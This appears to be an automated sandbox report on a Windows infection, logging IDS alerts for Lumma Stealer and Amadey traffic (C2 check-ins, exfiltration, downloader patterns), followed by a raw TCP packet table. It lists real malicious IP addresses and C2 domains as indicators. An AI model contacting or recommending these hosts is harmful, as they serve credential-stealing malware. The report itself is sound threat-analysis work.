2024-12-20T17:43:43.556462+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49765	172.67.197.170	443	TCP
2024-12-20T17:43:44.101335+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49766	185.215.113.43	80	TCP
2024-12-20T17:43:44.974731+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.6	52107	1.1.1.1	53	UDP
2024-12-20T17:43:45.013133+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.6	49768	172.67.131.246	443	TCP
2024-12-20T17:43:45.013133+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49768	172.67.131.246	443	TCP
2024-12-20T17:43:45.558171+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49769	31.41.244.11	80	TCP
2024-12-20T17:43:45.783574+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49768	172.67.131.246	443	TCP
2024-12-20T17:43:46.053647+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49774	172.67.197.170	443	TCP
2024-12-20T17:43:46.053647+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49774	172.67.197.170	443	TCP
2024-12-20T17:43:46.525273+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.6	49775	104.21.23.76	443	TCP
2024-12-20T17:43:46.525273+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49775	104.21.23.76	443	TCP
2024-12-20T17:43:47.137399+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49776	194.126.174.112	80	TCP
2024-12-20T17:43:47.286590+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49775	104.21.23.76	443	TCP
2024-12-20T17:43:47.286590+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49775	104.21.23.76	443	TCP
2024-12-20T17:43:48.514533+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.6	49780	104.21.23.76	443	TCP
2024-12-20T17:43:48.514533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49780	104.21.23.76	443	TCP
2024-12-20T17:43:49.572450+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49780	104.21.23.76	443	TCP
2024-12-20T17:43:49.572450+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49780	104.21.23.76	443	TCP
2024-12-20T17:43:50.096623+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49783	172.67.197.170	443	TCP
2024-12-20T17:43:50.096623+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49783	172.67.197.170	443	TCP
2024-12-20T17:43:52.635334+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.6	49792	104.21.23.76	443	TCP
2024-12-20T17:43:52.635334+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49792	104.21.23.76	443	TCP
2024-12-20T17:43:52.827331+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49791	185.215.113.43	80	TCP
2024-12-20T17:43:53.318767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49795	104.21.91.209	443	TCP
2024-12-20T17:43:53.482304+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49796	172.67.197.170	443	TCP
2024-12-20T17:43:53.482304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49796	172.67.197.170	443	TCP
2024-12-20T17:43:53.641201+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49792	104.21.23.76	443	TCP
2024-12-20T17:43:54.083259+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49795	104.21.91.209	443	TCP
2024-12-20T17:43:54.083259+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49795	104.21.91.209	443	TCP
2024-12-20T17:43:54.271986+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49799	31.41.244.11	80	TCP
2024-12-20T17:43:55.366209+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49803	104.21.91.209	443	TCP
2024-12-20T17:43:55.602353+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.6	49804	104.21.23.76	443	TCP
2024-12-20T17:43:55.602353+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49804	104.21.23.76	443	TCP
2024-12-20T17:43:56.149199+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49803	104.21.91.209	443	TCP
2024-12-20T17:43:56.149199+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49803	104.21.91.209	443	TCP
2024-12-20T17:43:57.164840+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49810	172.67.197.170	443	TCP
2024-12-20T17:43:57.164840+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49810	172.67.197.170	443	TCP
2024-12-20T17:43:58.254170+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49810	172.67.197.170	443	TCP
2024-12-20T17:43:58.319836+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.6	49814	104.21.23.76	443	TCP
2024-12-20T17:43:58.319836+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49814	104.21.23.76	443	TCP
2024-12-20T17:44:01.430271+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.6	49823	104.21.23.76	443	TCP
2024-12-20T17:44:01.430271+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49823	104.21.23.76	443	TCP
2024-12-20T17:44:01.538846+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49825	104.21.91.209	443	TCP
2024-12-20T17:44:01.673172+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49824	194.126.174.112	80	TCP
2024-12-20T17:44:02.431143+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49825	104.21.91.209	443	TCP
2024-12-20T17:44:03.663258+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49831	104.21.91.209	443	TCP
2024-12-20T17:44:03.975683+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.6	49833	104.21.23.76	443	TCP
2024-12-20T17:44:03.975683+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49833	104.21.23.76	443	TCP
2024-12-20T17:44:05.146251+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49837	185.215.113.43	80	TCP
2024-12-20T17:44:05.985675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49840	104.21.91.209	443	TCP
2024-12-20T17:44:06.602047+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49843	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:43:05.398353100 CET	49727	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:05.518038988 CET	80	49727	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:05.518145084 CET	49727	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:05.518340111 CET	49727	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:05.637916088 CET	80	49727	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:06.881536007 CET	80	49727	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:06.881686926 CET	49727	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:08.387736082 CET	49727	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:08.389599085 CET	49729	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:08.507601023 CET	80	49727	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:08.507673025 CET	49727	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:08.509392977 CET	80	49729	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:08.509495974 CET	49729	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:08.509742022 CET	49729	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:08.629291058 CET	80	49729	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:09.881642103 CET	80	49729	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:09.881731987 CET	49729	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:09.882210016 CET	80	49729	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:09.882256985 CET	49729	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:09.893158913 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:10.015566111 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:10.015640974 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:10.015825987 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:10.135404110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.254698992 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.254842997 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.254884958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.254898071 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.254946947 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.254966021 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.255053043 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.255079031 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.255090952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.255101919 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.255112886 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.255132914 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.255162954 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.255512953 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.255526066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.255565882 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.380156994 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.380176067 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.380357981 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.446738958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.446763039 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.446964979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.449301004 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.449409962 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.449440956 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.449489117 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.457662106 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.457730055 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.457773924 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.457813025 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.466008902 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.466065884 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.466093063 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.466113091 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.474383116 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.474522114 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.474855900 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.474904060 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.482949018 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.483076096 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.483640909 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.483691931 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.491185904 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.491256952 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.491293907 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.491339922 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.499574900 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.499655008 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.499706984 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.499794006 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.507987022 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.508059025 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.508282900 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.508325100 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.516288996 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.516370058 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.516371012 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.516417027 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.524257898 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.524315119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.524415016 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.524463892 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.566616058 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.566688061 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.641722918 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.641828060 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.641870975 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.641940117 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.644062996 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.644155979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.644232988 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.644294977 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.648912907 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.649014950 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.649063110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.649126053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.653742075 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.653795958 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.653844118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.653888941 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.658298969 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.658385038 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.658793926 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.658840895 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.662211895 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.662292957 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.662334919 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.662393093 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.666527987 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.666627884 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.666661978 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.666729927 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.674336910 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.674355984 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.674439907 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.675793886 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.675827980 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.675854921 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.675883055 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.680196047 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.680291891 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.680310965 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.680367947 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.684880018 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.684935093 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.685080051 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.685117960 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.689387083 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.689466953 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.692996979 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.693089962 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.693960905 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.694036961 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.694314003 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.694386005 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.698546886 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.698637962 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.698838949 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.698915958 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.702567101 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.702617884 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.702719927 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.702768087 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.706613064 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.706664085 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.706806898 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.706906080 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.711486101 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.711534023 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.711569071 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.711615086 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.715038061 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.715082884 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.715189934 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.715235949 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.718596935 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.718645096 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.719175100 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.719245911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.722541094 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.722589016 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.722662926 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.722729921 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.726548910 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.726599932 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.726681948 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.726726055 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.857044935 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.857078075 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.857140064 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.857167006 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.858184099 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.858285904 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.858727932 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.858776093 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.858865023 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.858911037 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.861393929 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.861469984 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.861473083 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.861507893 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.864032030 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.864119053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.864249945 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.864320040 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.866699934 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.866770983 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.867100954 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.867161036 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.869447947 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.869489908 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.869550943 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.869594097 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.871997118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.872051954 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.872176886 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.872219086 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.874767065 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.874829054 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.875112057 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.875159025 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.877329111 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.877384901 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.877388954 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.877427101 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.880131960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.880237103 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.880362988 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.880407095 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.882749081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.882814884 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.882848024 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.882895947 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.885354996 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.885428905 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.885726929 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.885770082 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.888027906 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.888081074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.888386011 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.888431072 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.890724897 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.890779018 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.890886068 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.891047001 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.893403053 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.893464088 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.893496990 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.893541098 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.896053076 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.896100044 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.896362066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.896409035 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.898668051 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.898720980 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.899342060 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.899388075 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.901340008 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.901391029 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.901523113 CET	80	49730	194.126.174.112	192.168.2.6
